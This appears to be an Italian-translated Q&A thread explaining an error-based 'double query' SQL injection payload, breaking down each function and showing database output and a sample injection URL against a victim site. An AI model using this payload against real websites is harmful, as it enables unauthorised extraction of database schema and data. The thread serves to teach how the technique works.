Iniezione Double Query

2

Sto provando a conoscere le "Iniezioni a doppia query", ma nelle esercitazioni scrivono seguendo il comando ma senza alcuna spiegazione:

(select * from (select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='security' limit 1,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a)b)

Vorrei sapere perché group by a è usato

Quali sono floor(rand()*2) e select count(*) usati per?

    
posta user3771906 30.10.2015 - 21:50
fonte

1 risposta

3

Questo link è un ottimo riferimento. Interrompiamo questa query sui mostri.

Elementi predefiniti

Prima di tutto, assicurati di familiarizzare con le funzioni e le istruzioni SQL utilizzate nell'attacco:

CONCAT () 1

Concatena più espressioni insieme:

MariaDB [(none)]> SELECT CONCAT("SQL ", "injection ", "is ", "cool");
+---------------------------------------------+
| CONCAT("SQL ", "injection ", "is ", "cool") |
+---------------------------------------------+
| SQL injection is cool                       |
+---------------------------------------------+

FLOOR () 2

Restituisce il valore intero più grande che è maggiore o uguale a un numero:

MariaDB [(none)]> SELECT FLOOR(25.75);
+--------------+
| FLOOR(25.75) |
+--------------+
|           25 |
+--------------+

RAND () 3

Restituisce un numero decimale casuale (nessun valore di inizializzazione - quindi restituisce un numero completamente casuale > = 0 e < 1):

MariaDB [(none)]>  SELECT RAND(); 
+--------------------+
| RAND()             |
+--------------------+
| 0.7757022090029924 |
+--------------------+

COUNT ()

La funzione COUNT () restituisce il numero di righe che corrisponde a un criterio specificato. Tieni presente che COUNT(*) è uguale a COUNT(1) (seleziona qui per ulteriori informazioni). Viene usato in questo modo per assicurare che i risultati NULL non vengano esclusi dal conteggio.

LIMITE

Seleziona una riga e le righe successive fino a un numero.

SELECT * FROM tbl LIMIT 5,10

Questa query restituisce le righe da 6 a 16.

GROUP BY 4

Spesso utilizzato con funzioni di aggregazione (COUNT, MAX, MIN, SUM, AVG) per raggruppare il set di risultati in base a una o più colonne.

SELECT COUNT(CustomerID), Country FROM Customers GROUP BY Country;

Questa query elenca il numero di clienti in ciascun paese.

0x3a

Solo il codice esadecimale per : . Controlla la tua tabella ASCII preferita per maggiori informazioni.

Ora, mettendo insieme le cose.

piano (rand () * 2)

TL; DR: L'obiettivo di questo blocco è generare 0 o 1 in modo casuale.

rand() genera un numero casuale compreso tra 0 e 1 mentre floor() prende il numero intero inferiore più vicino. Pensa a floor(rand()) per un momento. L'output è sempre 0. Ecco perché moltiplichi rand() per 2. Ora la funzione floor(rand()*2) prenderà un intero nell'intervallo [0,2), quindi 1 o 0.

Scomposizione

Poiché ci sono molte sottotitoli qui, spostiamoci all'interno.

select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1

MariaDB [sqli_test]> select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1;
+------------+
| table_name |
+------------+
| myTable    |
+------------+

Semplice selezione del nome della seconda tabella restituita dal database sqli_test . Chiamiamo questo risultato @RESULT1 . Potresti effettivamente memorizzarlo in una variabile.

concat(0x3a,0x3a,@RESULT1,0x3a,0x3a, floor(rand()*2))

Concatenazione di stringhe. Restituisce ::<TABLE_NAME>::[0-1] . Ad esempio ::mytable::0 o ::mytable::1 . Chiamalo @RESULT2 .

Per il passaggio successivo, nota che select * from information_schema.columns; restituisce tutte le colonne in tutte le tabelle. Pertanto, se eseguiamo select @RESULT2 a from information_schema.columns; , riceveremo qualcosa come:

+--------------+
| a            |
+--------------+
| ::myTable::0 |
| ::myTable::0 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::1 |
| ::myTable::0 |
+--------------+

Pertanto, raggruppiamo per @ RESULT2 (i nomi modificati delle tabelle) e chiamiamolo @ RESULT3:

select count(*), @RESULT2 a from information_schema.columns group by a

MariaDB [sqli_test]> select count(*), concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema='sqli_test' limit 1,1),0x3a,0x3a, floor(rand()*2)) a from information_schema.columns group by a;
+----------+--------------+
| count(*) | a            |
+----------+--------------+
|      887 | ::myTable::0 |
|      962 | ::myTable::1 |
+----------+--------------+

Restituisce il numero totale di colonne raggruppate per tabelle quali nomi sono stati generati in @RESULT2 . Tieni presente che a è solo un alias per @RESULT2 . Inoltre, poiché il 0 s aggiunto e il 1 s sono generati casualmente, i numeri in questa tabella dovrebbero cambiare ogni volta che esegui la query.

Dopo averlo eseguito alcune volte, si bloccherà
 ERROR 1062 (23000): Duplicate entry '::myTable::0' for key 'group_key'

A causa della casualità inserita, prima o poi gli elementi nella colonna a avranno lo stesso nome, generando un errore. Si noti che l'errore perde myTable . BAM! Informazioni succose!

Di cosa si tratta in ogni caso?!

Potresti eseguire questa query in una pagina vulnerabile a SQL Injection , come questa:

http://myvictim.com/?id=1' AND (select count(*), @RESULT2 a from information_schema.columns group by a)

Ciò imporrebbe la perdita del nome della tabella. Ovviamente potresti cambiare la query per perdere altre informazioni.

Solo per ragioni di completezza ciò potrebbe innescare un errore del tipo:

Operands should contain 1 column(s)

Si noti che in effetti la nostra query SELECT... restituisce 2 colonne, rendendo impossibile a AND con un'altra query. Potremmo risolverlo con:

select 1 from(@RESULT3)b

Nota che dobbiamo mettere b come alias, altrimenti:

Every derived table must have its own alias.

Questo è un modo fantastico e intelligente per divulgare le informazioni!

    
risposta data 11.10.2017 - 19:38
fonte

Leggi altre domande sui tag